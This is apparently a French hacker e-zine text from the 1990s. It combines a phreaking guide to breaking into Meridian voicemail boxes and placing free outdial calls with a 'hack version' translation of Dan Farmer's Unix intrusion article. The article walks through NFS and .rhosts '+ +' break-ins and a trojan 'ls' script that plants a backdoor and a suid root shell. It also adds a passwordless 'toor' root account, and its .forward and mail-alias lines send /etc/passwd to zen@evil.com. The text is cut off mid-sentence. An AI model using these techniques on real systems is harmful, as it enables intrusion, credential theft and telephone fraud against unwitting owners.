du type numero de la boite a l'envers des numeros de code du genre 1111 ou 1234 bref vous voyez le truc (sinon faites une cure rapide de malice ou allez voir France-Telecom pour voir si ils ont du boulot ) #############################[ L'Astuce du siecle! ]########################### Quand vous essayez de hacker une VMB vous etes generalement VIRES AU BOUT DE 3 MAUVAIS ESSAIS pour eviter de se faire virer ,au bout du 2eme essai appuyer sur # (ou * sur certaine vmb) pour revenir au menu principal puis apuyez sur la touche # (pour les VMB de type '1.#' est '2' pour les VMB de type '1.2') puis recommencez le hack ou vous l'avez laisse. ############################################################################### GO HACK D'UNE VMB MERIDIAN -------------------------- le BRONX je vous le dis je laisse EASY HACKER parler pour moi.. (cette article est tire de NOWAY 2) IV) -=)> La VMB meridian <(=- ------------------------------ * Acces direct a la VMB (par le numero du standard) Les commandes sont soit sur une digit pour selectionner quelque chose dans le menu en cours, soit sur 2 pour acceder directement a une commande quelconque. Pendant le message d'accueil, il suffit de taper 81 pour acceder a une BAL. Au risque de me repeter, les bals sont sur 4 digits. Par defaut, le code est bien entendu le numero des BALs. Le plus dur au debut est de tomber sur un numero de BAL existante. Scannez d'abord les bals de la forme x100, puis augmentez de 5 en 5 (x105 x110 x115 etc...). Une fois que vous etes logges, vous arrivez a la lecture du courrier. Les commandes possibles sont: 2: lecture du message en cours 4: message precedent 5: ecrire un message 6: messave suivant 9: appelle le poste de l'expediteur Les autres commandes possibles sont: 70: ajout de la mention "URGENT" sur un message 71: repond au message en cours 72: consulter l'envellope du message 73: transfert 74: ??? 76: efface le message 77: supprime le message de tous les destinataires 78: envoi de message dans toutes les bals 79: envoi un message apres son enregistrement Et les commandes se rapportant plus a votre boite qu'aux messages: 80: parametrage VMB 81: reconnexion 82: repondeurs (interne et externe) 83: deconnexion 84: change le mot de passe 85: listes de diffusion 86: acces direct a un message (faire numero du msg + #) 87: annuaire des bals 88: maintenance des bals 89: changement du nom du proprio Certaines commandes etant particulierement interessantes, je vais en detailler quelques unes: 80: permet d'acceder a un menu tres interessant concernant le parametrage global de la VMB. Les differents choix proposes sont: 1: change le numero de l'operateur (lorsqu'on demande de l'aide en tapant 0 ou qu'on se fait jeter apres 3 essais de hack d'une bal). Les digits filtrees sont les memes que lorsqu'on est directos sur le PBX, par consequent les indicatifs qui ne marchaient pas n'ont pas plus de chances de marcher en passant par la. Par contre lorsque la fonction d'appel automatique d'un poste est absente, celle-ci vient a la rescousse. Le numero doit la aussi etre suivi de # et precede de l'indicatif d'outdial. REMETTEZ IMPERATIVEMENT LE NUMER0 DE P0STE PRECEDENT (ca le dit lorsque vous essayez de le modifier) sinan le lendemain matin c'est D0WN !!! :*( 2: modification du message d'accueil (5 pour enregistrer, # pour finir) 3: modification de l'arborescence. J'avoue ne pas avoir capte grand chose a cette fonction (qui m'a pourtant l'air tres interessante), car elle fait references a plein de nombres dont la signification est difficile a trouver sans la doc. Mais j'ai beau avoir pratiquement tout explore, je n'ai pas trouve quoi que ce soit permettant de modifier les indicatifs filtres :-( 81: cette fonction est un bonheur pour pouvoir scanner des codes sans se faire deco. 0n est en effet deco au bout de 3 essais, mais le compteur est remis a zero lorsqu'on se logge. Par consequent, il suffit de faire deux essais, de se logger sous une bal dont on connait le code, de refaire 81 et hop... le compteur est remis a zero et on peut refaire 2 essais avant de se relogger etc... 0n peut ainsi scanner autant de BAL que desire sans jamais se faire deconnecter. ;-) 83: a quoi sert cette fonction ? 85: les listes de diffusions sont tres pratiques pour pouvoir scanner les numeros de bals utilises. Il suffit en effet d'entrer le numero de la liste a creer suivi de #, de faire 5 et hop, la VMB attend les numeros de BALs et vous dit au fur et a mesure si c'est attribue ou non. Attention toutefois: les frequences DTMF ne sont pas pris en compte lorsque le message dit "Il n'y a pas de boite au numero". La signalisation ne reprend qu'apres cette phrase, avant de prononcer le numero de la BAL en question. Donc ne vous precipitez pas sinon ca va systematiquement vous dire que la BAL entree n'existe pas a cause d'une erreur de frappe... Le plus simple pour hacker des BALs est donc de scanner toutes les BALs existantes grace a cette fonction, de tout noter au fur et a mesure, puis de tester celles dont le passe est egal au poste grace a la commande 81. 87: cette fonction est parfois accessible de tous, mais generalement reservee a quelques BALs de niveau de securite superieur. C'est assez lourd car ca vous donne pour chaque numero le nom du proprietaire, la date de la derniere visite, le nombre de messages envoyes, recus, archives et d'autres conneries, mais c'est quand meme une aubaine lorsque cette option est disponible ! 88: cette fonction n'est accessible que par la BAL du service informatique (souvent situe dans les 9000 et ne correspondant pas forcement a un poste en service). Les choix proposes sont les suivants: 1: Informations sur une boite: derniere visite, nom du proprio, etc... 2: Suppression d'une boite: attention: le numero doit etre valide par deux appuis successifs sur la touche #. 3: Reinitialisation d'une boite: cette commande peut s'effectuer sur une BAL en service ou non. Les messages et repondeurs sont effaces, et le code est remis au numero de la BAL. Il n'est malheureusement impossible de modifier le niveau d'une autre BAL ni le filtre des indicatifs a ce point-ci. 89: commande souvent retiree pour des raisons que je n'explique pas encore... -=[ 2.7 ABUSER DE LA VMB ]=- Ben la je vous fais confiance :) -=[ 3.0 PRECAUTIONS ]=- Ben voila une vmb c bien mais il faut faire attention de pas la griller betement. 1. Ne jamais prendre une vmb deja utilisee a moins que vous n'en vouliez une d'urgence. 2. Ne jamais foutre le bronx sur les VMB a moins de vengeance iminente pensez aux autres. 3. Ne jamais virer les messages des autres utilisateurs. 4. Ne surchagez poa votre boite vocale avec une annonce de 30 minutes et 8000 messages. 5. Amusez vous bien est soyez toujours des mecs cool. 6. Ne denoncez jamais un autre phreaker. 7. Vous risquez poa de vous faire tracer si vous avez poa une ligne numeris. Bref les VMB c bien c facille c cool c pratique... Mais LES PABX C MIEUX alors au prochain numero. COD4 (une precision COD4 ne veut pas dire le quatrieme COD ça veut COD4 c TOUT bon je m'en vais :) ++++++++++++++++++++++++++++++nEW NEW NEW NEw++++++++++++++++++++++++++++++++++ 1: Comment se trouver facilement un BOITE VOCALE sur les VMB meridian !! Vous avez le choix bien sur de scanner tous les numero de 5 en 5 mais bon hum hum c long voici la meilleure fa‡on hehe... 1.1 d'abords trouvez des boite meme utiliser pour cela lors du debut du messages faites le 0* la vous allez tombez sur un message qui tient a peu pres ce language "vous etes en relation avec un service qui vous mettra en relation avec la personne ou le poste que vous desirez consulter entrez le numero de poste de la perssone que vous desirez consulter suivi du #(diese)". Hum bon pour chercher un poste occupe tapez des numeros du genre 2100, 2300, 2400, etc vous voyez le genre bon une fois que vous avez trouve une boite vocale notez la position ou elle se trouve. Vous savez maitenant que il y'a un groupe de boites vocales autours d'elle maintenant determiner le debut et la fin du groupe occupe. ex: il y'a des boite vocales (de 2500 a 2550) vous avez donc un groupe de 50 boites vocales environ. Allez voici le truc si la derniere VMB est 2550 ajoutez 5 est vous obtiendrez la VMB 2555 (logique non) bon maitenant racrochez rappellez lors du message faites 81 la tapez le numero de boite 2555 puis comme passe 2555 (attention ‡a peut changer essayer le 0000 etc). Hehe et vous voila avec un jolie boite vocale... Et vous avez gagne du temps ;) +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ LES OUTDIALS FACILES sur meridian (hehe meridian a mal) pour caller gratos depuis UN MERIDIAN voici les 2 methodes que j'utilise d'abors loggez vous sur votre VMB OK une fois desus faite 0* la vous allez tomber sur le classique "vous etes en relation avec blablabla...." bon essayez votre numero comme ‡a indicatif+numero+# a la fin EX: 00+numero+# (essayez tous les indicatifs bateau)ou si vous etes un vrai acharne faites tous le numero de 0 a 99 bon ‡a marche poa arg passez a la methode 2 bon d'abord faut le numero du standard oui je veux bien mais je le trouve comment ? la faut ruser allez regardez comment j'ai recupere un bo numero de standard # allo oui bonjour je voudrais connaitre votre numero + comment ? # oui en faite j'ai mis votre numero dans la memoire de mon telephone est comme je voudrais le noter sur papier j'en aurais besoin! + ha oui je comprends ben c le XXX+XXX+XXXX Bon un fois le numero entre les pognes prenez les 4 derniers chiffres du numero qu'elle vous as donne EX. 12 34 '55 66' prenez le 55 66 en fait le 55 66 corespond au numero de poste du standard allez reconnectez vous sur votre VMB faites 0* puis le 5566+numero+# voila c tout mais c deja poa mal bon pour toute info je suis preneur ALLEZ BON HACK/PHREAK. CREDITS T7HS,PAceMAKer,BYpass,SORcErY,cleb,MayW33d,KWel,^mars ,loginz, Morgan,scud ,zeb,pegase,ZZZ , est tous ceux du #hackfr et larsen qui ma donne l'idée noway qui ma ouvert les yeux npc qui me les ouvre encore dsk qui est vraiment actif puis le phe PUIS LE PLUS NOBLE DE TOUS THE 7th HACKER'S SOCIETY ;) ------------------------------------------------------------------------------- NoRoute #1 þ Traduction .... Farmer þ 4762 þ CoD4&Mika þ NoRoute #1 ------------------------------------------------------------------------------- ######################################################################## # # # # # # ###### another file by mikasoft # # # # # # # & CoD4 from the PHE # # # ### ###### ###### FRENCH GROUP # # # # # # # # # # # ###### # ######################################################################## ATTENTION !!! Cet article est en fait compose de deux parties. La premiere est la traduction de l'article de Dan Farmer (auteur de Satan) mais "version hack". Cela veut dire que je vous montrerai des exemples bien parlants surtout sur le NIS, etc... Avec bien sur toutes les explications dont vous aurez besoin. L'autre partie n'est pas tellement orientee hack, elle est surtout destinee au newbie (attention pas au totalement novice d'unix!). Allez GO GO GO HACK! ;) D'ailleurs vous trouverez les explication pour les newbies dans HACKER'S NOTE. Recherche d'informations ------------------------ Supposons que tu sois l'administrateur systeme de Victim Incoprorated's Network. Dans un effort de securisation de tes machines, tu demandes a l'administreur d'un site proche (evil.com) de te donner un compte sur l'une de ses machines pour verifier ton systeme de securite depuis l'exterieur. Que vas-tu faire ? D'abord, essaye de rassembler des informations sur ton site (la cible). Il y a moult services de reseau a utiliser: finger, showmount, et rpcinfo sont de bons points de depart. Mais ne t'arrete pas la. -- Tu devrais utiliser aussi le DNS, whois, sendmail (SMTP), ftp, uucp, et tous les autres services que tu peux trouver. Il y a tellement de methodes possibles que l'espace manque ici pour les aborder toutes, mais nous allons essayer de montrer un apercu des strategies les plus communes et/ou dangereuses que nous avons vu ou auxquelles nous avons pense. Normalement, tu devrais trouver de telles informations sur tous les sites du sous-reseau ou de la zone d'attaque -- l'information c'est le pouvoir -- mais ici,nous allons examiner uniquement notre cible. -------snip-------8<-------snip-------8<-------snip-------8<------- HACKER'S NOTE En fait, avant de hacker un site, le but du jeu est de rassembler un maximum d'informations. Pour ca, tout est bon: visite leur web, regarde leur sendmail (vois si leur version est buggee), fais un FTP pour voir quel systeme ils utilisent, fais meme un telnet, ... -------snip-------8<-------snip-------8<-------snip-------8<------- Pour commencer , tu regardes ce que la commande finger te donne: (supposons qu'il est 6:00pm, Nov 6, 1993) : victim % finger @victim.com [victim.com] Login Name TTY Idle When Where zen Dr. Foobar co 1d Wed 08:00 death.com Bien! Un seul idle user -- il semble que personne ne s'apercevra de rien si nous arrivons a entrer dedans maintenant. -------snip-------8<-------snip-------8<-------snip-------8<------- HACKER'S NOTE Le service finger est un service tres utile pour recuperer des informations. C'est pour ca que beaucoup d'admins l'enlevent. :( -------snip-------8<-------snip-------8<-------snip-------8<------- Maintenant, tu essayes d'autres tactiques. Comme tous les fans de finger le savent, faire un finger sur "@","0", ou "", et sur des noms comme root,bin,ftp,system,guest,demo,manager, etc... peut reveler des informations interessantes. La nature de ces informations dependent de la version de fingerd que votre cible utilise, mais les plus notables sont les noms de login, avec leur repertoire utilisateur et le site depuis lequel il s'est connecte la derniere fois. Pour avoir d'autres informations, tu peux utiliser ruser (en particulier avec l'option -l) pour obtenir des infos utiles sur les utilisateurs qui sont actuellement connectes. Ces commandes sur victim.com donnent les informations suivantes, presentees sous la forme d'un tableau: Login Home-dir Shell Last login, from where ----- -------- ----- ---------------------- root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victim.com bin /bin Never logged in nobody / Tue Jun 15 08:57 on ttyp2 from server.victim.co daemon / Tue Mar 23 12:14 on ttyp0 from big.victim.com sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victim.com zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from death.com sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from evil.com guest /export/foo /bin/sh Never logged in ftp /home/ftp Never logged in -------snip-------8<-------snip-------8<-------snip-------8<------- HACKER'S NOTE On peut remarquer que le compte guest dispose d'un shell est que son home directory est exporte donc accesible par NFS. -------snip-------8<-------snip-------8<-------snip-------8<------- -------snip-------8<-------snip-------8<-------snip-------8<------- BIBI NOTE Notre experience avec SATAN et l'observation de crackers de syteme au travail, nous ont prouve que finger etait l'un des services les plus dangereux, parcequ'il est tres utile pour enqueter sur la cible potententielle. Cependant, la plupart de ces informations ne sont utiles qu'utilisees en conjonction avec d'autres donnees. -------snip-------8<-------snip-------8<-------snip-------8<------- Par exemple, showmount sur notre cible donne: evil % showmount -e victim.com export list for victim.com: /export (everyone) /var (everyone) /usr easy /export/exec/kvm/sun4c.sunos.4.1.3 easy /export/root/easy easy /export/swap/easy easy -------snip-------8<-------snip-------8<-------snip-------8<------- HACKER'S NOTE La commande showmount avec l'option -e hostname permet de connaitre les systemes de fichiers effectivement exportes par le systeme distant hostname. -------snip-------8<-------snip-------8<-------snip-------8<------- Remarque que /export/foo est exporte pour tout le monde. Remarque egalement que c'est le repertoire utilisateur de "guest". Il est temps pour nous de rentrer dans la machine! Dans le cas present, tu va monter (mount) le repertoire utilisateur de "guest". Comme tu n'as pas de compte correspondant sur la machine locale et comme le root ne peut pas modifier les fichiers sur un systeme de fichiers monte avec NFS, tu cree un compte "guest" dans ton fichier /etc/passwd local. En tant qu'utilisateur guest tu peut mettre un fichier .rhosts dans le repertoire utisateur distant de "guest", ce qui te permet de faire un login sur la machine cible sans donner de mot de passe. evil # mount victim.com:/export/foo /foo evil # cd /foo evil # ls -lag total 3 1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 . 1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .. 1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd evil # ls -lag total 3 1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 . 1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .. 1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest evil # su guest evil % echo evil.com >> guest/.rhosts evil % rlogin victim.com Welcome to victim.com! victim % -------snip-------8<-------snip-------8<-------snip-------8<------- HACKER'S NOTE En fait comme tu as pu le voir avec la commande showmount, le repertoire /export est accesible a tous et comme le repertoire de l'utilisateur guest est dans /export/foo tu as acces a son home directory. En suite l'astuce consiste a mettre un fichier .rhosts (le fichiers .rhosts est le fichiers d'autorisation des r-commandes. ex: voici un fichier .rhosts qui appartient a l'user nico de chez X.com: # .rhosts # hostname logname bibi.com paul bibi.com linda Cela veut dire que l'utilisateur paul de la machine bibi.com a le droit de faire des r-commandes chez X.com et pareil pour linda. Si tu mets "+ +" dans le .rhosts, tu permets a tout le monde d'acceder a cette machine.) Donc tu mets un fichier .rhosts contenant "+ +" dans le home directory de l'utilisateur guest se qui ensuite va te permetre de te connecter a victim.com juste en faisant un rlogin (la commande rlogin permet de se logger sur une machine unix distante sans avoir a donner de mot de passe si on est declare dans le .rhosts de l'user ou le /etc/hosts (mais qui n'est accesible que au root :(..). Par exemple, reprenons le cas de nico de chez X.com. Il y a linda de chez bibi.com qui est declaree, donc moi je deviens linda de chez bibi.com et je veux me logger chez X.com: je fais ceci: rlogin X.com -l nico Et hop! Je suis logge. :) Si nico de X.com avait mis "+ +" dans son .rhosts, tout le monde pourrait se logger). -------snip-------8<-------snip-------8<-------snip-------8<------- Si, a la place des repertoires utilisateur, victim.com exportait un systeme de fichiers avec des commandes utilisateur (/usr ou /usr/local/bin par exemple), tu pourrais remplacer une commande par un cheval de troie (trojan) qui executerait les commandes de ton choix. Le prochain utilisateur a executer cette commande executerait ton programme. -------snip-------8<-------snip-------8<-------snip-------8<------- HACKER'S NOTE Un cheval de troie est en fait un programme qui va te permettre d'executer des actions a l'insu de l'utilisateur. Voici un exemple de cheval de troie: $ cat lss #!/bin/sh echo "+ +" > ~/.rhosts echo "command not found" $ Cela veut dire que chaque fois qu'un user tapera lss au lieu de ls, il executera notre cheval de troie qui comme vous l'avez vu met "+ +" dans le .rhosts de son repertoire. :) Ah, oui! Un truc a verifier lorsque tu hackes une machine dans laquelle tu te trouves, regarde la variable PATH $ echo $PATH $.:/usr/local.bin:/bin: etc etc Si tu as bien vu le '.' au debut de la variable PATH, cela veut dire que le shell cherchera d'abord le programme dans le repertoire courant et ensuite dans /usr/local/bin, etc... C'est un enorme trou de securite. Voici un exemple de cheval de troie qui exploite se bug: #!/bin/sh # La on met un "+ +" dans .rhosts histoire de se faire une backdoor echo "+ +" > $HOME/.rhosts >/dev/null chmod 666 $HOME > /dev/null # On rend son rep "world writable" :)~~ echo $LOGNAME > /tmp/... >/dev/null # On met les noms des victimes 8›) if test $LOGNAME = root # On regarde si c'est le root qui a execute le programme then chmod 666 /etc/passwd # Bon, ca peut nous servir ;) cp /bin/sh /usr/users/bibi/.../.temp > /dev/null # La, on va mettre un shell ROOT dans un repertoire impossible :) chown root /usr/users/bibi/.../.temp >/dev/null # On l'installe chmod 4777 /usr/users/bibi/.../.temp >/dev/null # On le met suid ROOT fi # Il s'agit qu'il execute son ls aussi :)) mv /tmp/ls $HOME/.X23E4 > /dev/null mv /tmp/... $HOME/... > /dev/null # On deplace notre trojan ls $* # Allez, on lui envoie son ls :)) mv $HOME/.X23E4 /tmp/ls > /dev/null mv $HOME/... /tmp/... > /dev/null # On remet notre trojan # Bon! On est bien, alors on se casse... -------snip-------8<-------snip-------8<-------snip-------8<------- Nous suggerons que les systemes de fichiers soient exportes: - read/write seulement a certains clients de confiance. - read-only, quand c'est possible (les donnees ou les programmes peuvent souvent etre exportes de cette maniere). Si la cible a un '+' dans son fichier /etc/hosts.equiv (mis par defaut sur les machines de certains vendeurs) ou a le network bug (CERT advisory 91:12), n'importe quel utilisateur (sauf le root) avec un login sur le fichier passwd de la cible peut faire un rlogin sur la cible sans donner de mot de passe. Et comme l'utilisateur "bin" possede souvent des fichiers et des repertoires importants, ta prochaine attaque est d'essayer de rentrer sur le site cible et de modifier le fichier passwd pour te laisser avoir un acces root. D'abors on se met en user bin: evil % whoami bin evil % rsh victim.com csh -i Warning: no access to tty; thus no job control in this shell... victim % ls -ldg /etc drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc victim % cd /etc victim % mv passwd pw.old victim % (echo toor::0:1:instant root shell:/:/bin/sh;\ > cat pw.old) > passwd victim % ^D evil % rlogin victim.com -l toor Welcome to victim.com! victim # Quelques remarques sur la methode utilisee ci-dessus; "rsh victim.com csh -i" est utilise pour aller sur le systeme parce que ca ne laisse aucune trace dans les fichiers de surveillance wtmp et utmp, de sorte que le rsh est invisible pour finger et who. Cependant, le shell distant n'est pas attache a un pseudo-terminal, ce qui fait que les programmes comme les pagers et les editeurs ne marcheront pas -- mais c'est tres utile pour de breves explorations. -------snip-------8<-------snip-------8<-------snip-------8<------- HACKER'S NOTE La comande rsh est une r-commande. Elle permet l'execution d'une commande a distance, par exemple: (on reprends le .rhosts de nico chez X.com) La on veut executer "mail peutimporte@coco.com < /etc/passwd" chez X.com, on va donc faire: rsh X.com -l nico cat /etc/passwd Les fichiers wtmp et utmp sont tres importants car ils gardent une trace de tes connexions, etc... Bref se sont les espions de l'admin. -------snip-------8<-------snip-------8<-------snip-------8<------- Que faire maitenant? Avons-nous explore tous les trous dans le systeme cible? Non, surement pas. Verifie que d'apres le resultat d'un finger sur ta cible il existe un compte "ftp". Nous pouvons penser que le FTP anonymous est en marche. Le FTP anonymous peut etre une voie facile pour avoir un acces, car il est souvent mal configure. Par example, la cible peut avoir une copie complete du fichier /etc/passwd dans le FTP anonymous (repertoire ~ftp/etc , mais c'est plutot rare). Si le repertoire utilisateur FTP de victim.com est writable, il va nous permetre d'executer des commandes. Dans ce cas, on va s'envoyer un mail qui contiendra le fichier /etc/passwd , simplement en creant un fichier .forward qui executera des commandes quand un mail sera envoye au compte FTP. -------snip-------8<-------snip-------8<-------snip-------8<------- HACKER'S NOTE Le programme sendmail utilise le meme mecanisme pour redistribuer le courier ou executer divers programmes comme "vacation" (programme qui te renvoie ton mail quand tu es absent (il se presente comme ca dans le .forward ("|/usr/ucb/vacation username")). -------snip-------8<-------snip-------8<-------snip-------8<------- evil % cat forward_sucker_file "|/bin/mail zen@evil.com < /etc/passwd" evil % ftp victim.com Connected to victim.com 220 victim FTP server ready. Name (victim.com:zen): ftp 331 Guest login ok, send ident as password. Password: 230 Guest login ok, access restrictions apply. ftp> ls -lga 200 PORT command successful. 150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes). total 5 drwxr-xr-x 4 101 1 512 Jun 20 1991 . drwxr-xr-x 4 101 1 512 Jun 20 1991 .. drwxr-xr-x 2 0 1 512 Jun 20 1991 bin drwxr-xr-x 2 0 1 512 Jun 20 1991 etc drwxr-xr-x 3 101 1 512 Aug 22 1991 pub 226 ASCII Transfer complete. 242 bytes received in 0.066 seconds (3.6 Kbytes/s) ftp> put forward_sucker_file .forward 43 bytes sent in 0.0015 seconds (28 Kbytes/s) ftp> quit evil % echo test | mail ftp@victim.com Maitenant, tu n'as plus qu'a attendre que le fichier passwd te soit envoye. Le wuarchive ftpd, un remplacant du daemon FTP mis en circulation par l'Universite de Washington , apporte beaucoup de problemes. Si ton wuarchive ftpd est plus ancien que le 8 avril 1993 tu dois le remplacer par une version plus recente. Finalement ce programme est vaguement similaire a FTP/TFTP, ou le Trivial File Transfer Protocol. Ce daemon ne demande aucun password pour l'identification. Si un serveur donne acces au TFTP sans restriction (souvent, en configurant /etc/inetd.conf), un attaquant peut lire et ecrire dans tous les fichiers dans le systeme entier (il peut cependant ecrire uniquement dans les fichiers 666). Dans l'example suivant, on prend /etc/passwd pour le mettre dans notre repertoire /tmp . evil % tftp tftp> connect victim.com tftp> get /etc/passwd /tmp/passwd.victim tftp> quit Si aucune des methodes precedentes n'a fonctionne, il est temps d'aller vers des mesures plus drastiques. Tu as un nouvel ami: rpcinfo. C'est un autre programme utile, parfois meme plus utile que finger. Bien des sites proposent des services RPC qui peuvent etre exploites; rpcinfo peut parler au portmapper et te montrer le chemin. Il peut te dire si un site utilise NIS, si c'est un NIS maitre ou un NIS esclave, si une station sans disque est dans le coin, s'il utilise NFS, un service d'information (rusersd,rstatd, etc...), ou un autre programme peu commun (de surveillance ou de securite). Retournons a notre cible qui nous sert d'exemple: evil % rpcinfo -p victim.com [output trimmed for brevity's sake] program vers proto port 100004 2 tcp 673 ypserv 100005 1 udp 721 mountd 100003 2 udp 2049 nfs 100026 1 udp 733 bootparam 100017 1 tcp 1274 rexd -------snip-------8<-------snip-------8<-------snip-------8<------- HACKER'S NOTE rpcinfo est une commande qui vous permet de voir les service RPC qui repondent, elle permet surtout de connaitre les numeros de ports qui ont ete attribues par le daemon portmapd aux autres daemons RPC. -------snip-------8<-------snip-------8<-------snip-------8<------- Dans ce cas, tu peux voir plusieurs choses interessantes sur notre cible; tout d'abord qu'il s'agit d'un serveur NIS. Ce n'est peut etre pas de notoriete publique, mais une fois que tu connais le nom de domaine NIS s'un serveur, tu peux obtenir n'importe quelle map NIS par une simple requete RPC, meme si tu es en dehors du sous-reseau servi par le serveur NIS (par exemple, en utilisant le programme YPX qui peut etre trouve ici ou la). De plus, un certain de nombre de systemes ont des noms de domaine NIS facile a deviner. Essayer de deviner le nom de domaine NIS peut s'averer tres payant. De bons candidats sont le nom du site ("victim" ou bien "victim.com"), le nom de l'organisation, le netgroup name dans le resultat de "showmount", et ainsi de suite... Si tu veux voir si le nom de domaine est victim, tu peux taper: evil % ypwhich -d victim victim.com Domain victim not bound. -------snip-------8<-------snip-------8<-------snip-------8<------- HACKER'S NOTE La commande ypwhich indique quel serveur fournit actuellement un service au client designe en argument. Par exemple: (nous sommes dans un reseau local et nous voulons savoir quelle machine est maitre de bibi) evil % ypwhich bibi bigbibi La machine bigbibi est le serveur maitre de bibi. ATTENTION: voici la syntaxe des commandes a utiliser pour le NIS (comme ypcat, ypwich, etc...): ypwhich [-d domainname] hostname l'option -d permet de designer le domaine. -------snip-------8<-------snip-------8<-------snip-------8<------- Ceci est un essai infructueux; si tu avais trouve le bon nom de domaine cela t'aurait affiche le nom du site du serveur NIS de victim.com en retour. Cependant, remarque que le repertoire /var est exporte a tout le monde (voir la section NFS). Il suffit de mounter ce repertoire et de regarder dans le sous repertoire yp --- entre autres choses tu verras un autre sous repertoire qui contient le nom de domaine de la cible. evil # mount victim.com:/var /foo evil # cd /foo evil # /bin/ls -alg /foo/yp total 17 1 drwxr-sr-x 4 root staff 512 Jul 12 14:22 . 1 drwxr-sr-x 11 root staff 512 Jun 29 10:54 .. 11 -rwxr-xr-x 1 root staff 10993 Apr 22 11:56 Makefile 1 drwxr-sr-x 2 root staff 512 Apr 22 11:20 binding 2 drwxr-sr-x 2 root staff 1536 Jul 12 14:22 foo_bar . . . Dans ce cas, le nom de domaine NIS est "foo_bar". De plus, les maps NIS contiennent souvent une liste de nom des utilisateurs/employes ainsi qu'une liste de site interne, sans parler des mots de passe (en vu de cracking). -------snip-------8<-------snip-------8<-------snip-------8<------- HACKER'S NOTE Le service NIS permet a une machine d'aministrer plusieurs autres machines, donc elle met en commun une base de donnees pour chaque machine esclave (les maps NIS). Ces maps sont en faite les fichiers /etc/passwd /etc/networks , etc, mais sous format NIS. Bon tu vas dire: "Mais concretement ca veut dire quoi?" Par exemple: Un mec fait un login sur la machine "palestine_libre", il envoie ses login et mot de passe, mais la machine "palestine_libre" ne regarde pas dans son propre /etc/passwd, elle va faire une requete pour consulter la map NIS 'passwd', qui est en fait un gros /etc/passwd mais commun a tous. Ensuite elle va dire au mec si il a ou pas le droit de rentrer. Donc la faille est que n'importe qui peut consulter les maps NIS d'un site, il lui suffit juste de savoir le nom du domaine NIS. :) Par exemple: Nous voulons voir la map NIS "passwd" de chez bibi.com, nous savons que que le nom de la machine est bibi donc nous n'avons plus qu'a faire ca: $ ypcat -d bibi.bibi.com passwd Et hop! Le fichier passwd va s'afficher, on a plus qu'a le prendre et le passer a la moulinette. Note que rpcinfo regarde si victim.com fais marcher rexd. Comme le daemon rsh, rexd envoie des requetes de la forme "stp execute cette commande en tant que cet user-la". Cependant, rexd ne prend pas en compte les fichiers hosts.equiv ou le .rhosts. Normallement, le client qui se connecte a rexd est "on" (en fait la verification de l'identite se fais par le client "on"), mais un simple programme C peut facilement envoyer n'importe quelle information sur l'user au serveur rexd (faire tourner rexd correspond en fait a pas avoir de password). ;) Alors que nous regardons le resultat de la commande rpcinfo, tu peux voir que victim.com semble avoir aussi des stations sans disque. Le bootparam service est donc surement utilise, il donne a la station sans disque l'acces aux informations pour qu'elle puisse booter. Utilisons BOOTPARAMPROC_WHOAMI et fournissons l'adresse du client. Nous pouvons obtenir ainsi son nom de domaine NIS. Cela peut etre tres utile pour l'obtension des maps NIS (comme le fichier passwd), connaissant le nom de domaine. Voici un exemple de code qui fait ca: char *server; struct bp_whoami_arg arg; /* query */ struct bp_whoami_res res; /* reply */ /* initializations omitted... */ callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res); printf("%s has nisdomain %s\n", server, res.domain_name); Le resultat du showmount nous indique que "easy" est une station sans disque, donc nous utilisons son adresse dans la requete BOOTPARAMPROC_WHOAMI: evil % bootparam victim.com easy.victim.com victim.com has nisdomain foo_bar Le maitre NIS controle les alias mail pour le domaine NIS en question. De la meme maniere que les fichiers alias locaux, tu peux creer des alias mail qui executeront des commandes, quand du courier leur sera envoye (un exemple est l'alias "decode" qui UUDECODE le courier qu'on lui envoie). Ici, par exemple, nous creons un alias "foo" qui envoie le fichier /etc/passwd a evil.com des la reception d'un mail. nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >>\ > /etc/aliases nis-master # cd /var/yp nis-master # make aliases nis-master # echo test | mail -v foo@victim.com Si un hacker a le controle de votre maitre NIS, il a egalement le controle des sites clients du NIS. Il n'y a pas beaucoup de defenses efficaces contre les attaques NIS. C'est un service peu sur qui n'a presque pas d'authentification entre le client et le serveur. Pire encore, il semble assez clair que des maps peuvent etre recuperees meme sur les serveur maitre (c'est a dire qu'il est possible de traiter un serveur NIS comme un client). Ceci evidemment corrompt le systeme entier. S'il est absolument necessaire d'utiliser NIS, choisir un nom de domaine difficile a deviner peut etre d'un certain secours, mais si vous faites marcher des stations sans disque qui sont exposees a des attaques potentielles alors il est trivial pour un attaquant de venir a bout de cette precaution en utilisant le truc du bootparam pour obtenir le nom de domaine. Si NIS est utilise pour centraliser les maps passwd, alors les shadow- passwords ne servent a rien parce qu'ils sont toujours accessibles pour un attaquant qui est root sur le site qui vous attaque. Le mieux est d'utiliser NIS le moins possible ou au moins de realiser que les maps peuvent etre lues par une force hostile. Secure RPC diminue la menace de beaucoup mais a aussi ses propres defauts. Tout d'abord, il est dificile a administrer, mais aussi ses methodes cryptographiques ne sont pas tres solides. Il semble que NIS+ ait fixe la plupart de ces problemes. Le portmapper ne connait que les services RPC. Les autres services reseau peuvent etre localises avec des methodes brutales (connexion a tous les ports pour verifier ceux qui repondent). Plusieurs utilitaires reseau ecoutent des ports specifiques (sendmail sur le 25, telnet sur le 23, X-windows sur le 6000). SATAN inclue un programme qui scanne les ports sur un site distant et fait un rapport. evil % tcpmap victim.com Mapping 128.128.128.1 port 21: ftp port 23: telnet port 25: smtp port 37: time port 79: finger port 512: exec port 513: login port 514: shell port 515: printer port 6000: (X) Ceci suggere que victim.com fait tourner Xwindows. S'ils ne sont pas proteges correctement (avec les magic cookies ou les mecanismes xhosts), l'affichage des 